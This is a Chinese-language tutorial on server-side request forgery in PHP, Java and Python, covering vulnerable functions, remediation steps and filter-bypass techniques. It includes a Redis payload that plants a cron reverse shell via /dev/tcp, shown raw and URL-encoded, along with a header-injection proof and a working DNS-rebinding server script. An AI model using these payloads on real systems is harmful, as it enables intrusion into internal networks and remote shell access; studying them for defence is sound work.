0x01 概述
SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。
利用SSRF能实现以下效果:
1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) Denial of service
0x02 漏洞利用
a) SSRF in PHP
1. 环境搭建
方便大家更直观了解,上述代码用来模拟ssrf,使用curl发起网络请求然后返回客户端,这里我请求加载图片
2. 利用方式
一般发起网络请求中会使用libcurl库,来看下它所支持的协议
除了http/https,还有一些可利用的协议如下
DICT
除了泄露安装软件版本信息,还可以查看端口,操作内网redis服务等
File
Gopher
万能协议(利用Gopher攻击Redis、攻击Fastcgi 等
FTP(S)/SMB(S)
匿名访问及爆破
Tftp
UDP协议 发送UDP数据包
Telnet
SSH/Telnet匿名访问及爆破
3. 总结
file_get_contents()
fsockopen()
curl_exec()
以上三个函数使用不当会造成SSRF漏洞
大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 URLencode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
curl_exec() //默认不跟踪跳转,
file_get_contents() // file_get_contents支持php://input协议
修复方案:
• 限制协议为HTTP、HTTPS
• 禁止30x跳转
• 设置URL白名单或者限制内网IP
需要注意的是,回显是能否成功利用的重要的条件,在某些场景协议限定为HTTP模式且没有回显,利用
会相对复杂了。
b)SSRF in Java
1. 环境搭建
编写脚本扫描内网开放端口的主机
通过ssrf 探测到内网中redis服务器 ‘172.19.0.2:6379’正常访问
构造脚本写入 目录‘/etc/crontab‘
```
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
```
进行url编码:
```
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
```
反弹shell
2. 利用方式
网络请求支持的协议如下
http,https,file,ftp,mailto,jar,netdoc
对比php的ssrf,java这块利用相对局限,
3. 总结
以下几种类引用不当会造成SSRF
Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类,
修复方案:
• 限制协议为HTTP、HTTPS
• 不用限制302重定向
• 设置URL白名单或者限制内网IP
c) SSRF in Python
1. 环境搭建
HTTP Header Injection in Python urllib ,
当使用了Python 的urllib库,请求url为用户可控时,就可能存在ssrf漏洞,且可以通过漏洞python urllib http头注入实现对内网未授权仿问的redis 服务器getshell
Python 测试脚本代码:test.py
#!/usr/bin/env python3
import sys
import urllib
import urllib.error
import urllib.request
url = sys.argv[1]
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
测试一下通过http头注入来向redis写入普通的文本:
./test.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close
2. 漏洞利用
通过Redis的通讯协议来突破空格的限制:(具体利用参考链接下方
3. 总结
修复方案:
1. 解析目标URL,获取其Host
2. 解析Host,获取Host指向的IP地址
3. 检查IP地址是否为内网IP
4. 请求URL
5. 如果有跳转,拿出跳转URL,执行1
0x03 挖掘漏洞
对外发起网络请求的地方都可能存在SSRF漏洞,列举
图片加载下载,分享页面,在线翻译,未公开的api(从远程服务器请求资源
文件处理,编码处理, 属性信息处理,
- Ffpmg
- ImageMaic
数据库内置功能
- PostgreSQL
- MongoDB
- CouchDB
0x04 绕过技巧
@
添加端口号
短网址绕过
指向任意IP的域名xip.io
10.0.0.1.xip.io resolves to 10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.1
mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1
IP限制绕过
十进制转换 八进制转换 十六进制转换 不同进制组合转换
协议限制绕过
例子:
当url协议限定只为http(s)时,可以利用follow redirect 特性
构造302跳转服务,
结合dict:// file:// gopher://
DNS rebinding
DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等,,,这里介绍三种方法
1. 特定域名实现TTL=0
2. 域名绑定两条A记录
1/4的概率,当第一次解析为外网ip,第二次解析为内网ip,就会成功。
3. 自建DNS服务器
步骤如下:添加一条ns记录和一条a记录
Ns记录表示这个子域名test.h0pe.site指定由ns.h0pe.site域名服务器解析,
A记录表示ns.h0pe.site位置在ip地址xxx.xxx.xxx.xxx上
在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip="104.160.43.154"
else:
ip="171.18.0.2"
if name not in record:
record[name]=0
record[name]+=1
print name+" ===> "+ip
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
Root 权限运行,
0x05参考
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
http://wavr.feei.cn/SSRF/
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
http://bendawang.site/article/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93
https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2
https://security.tencent.com/index.php/blog/msg/106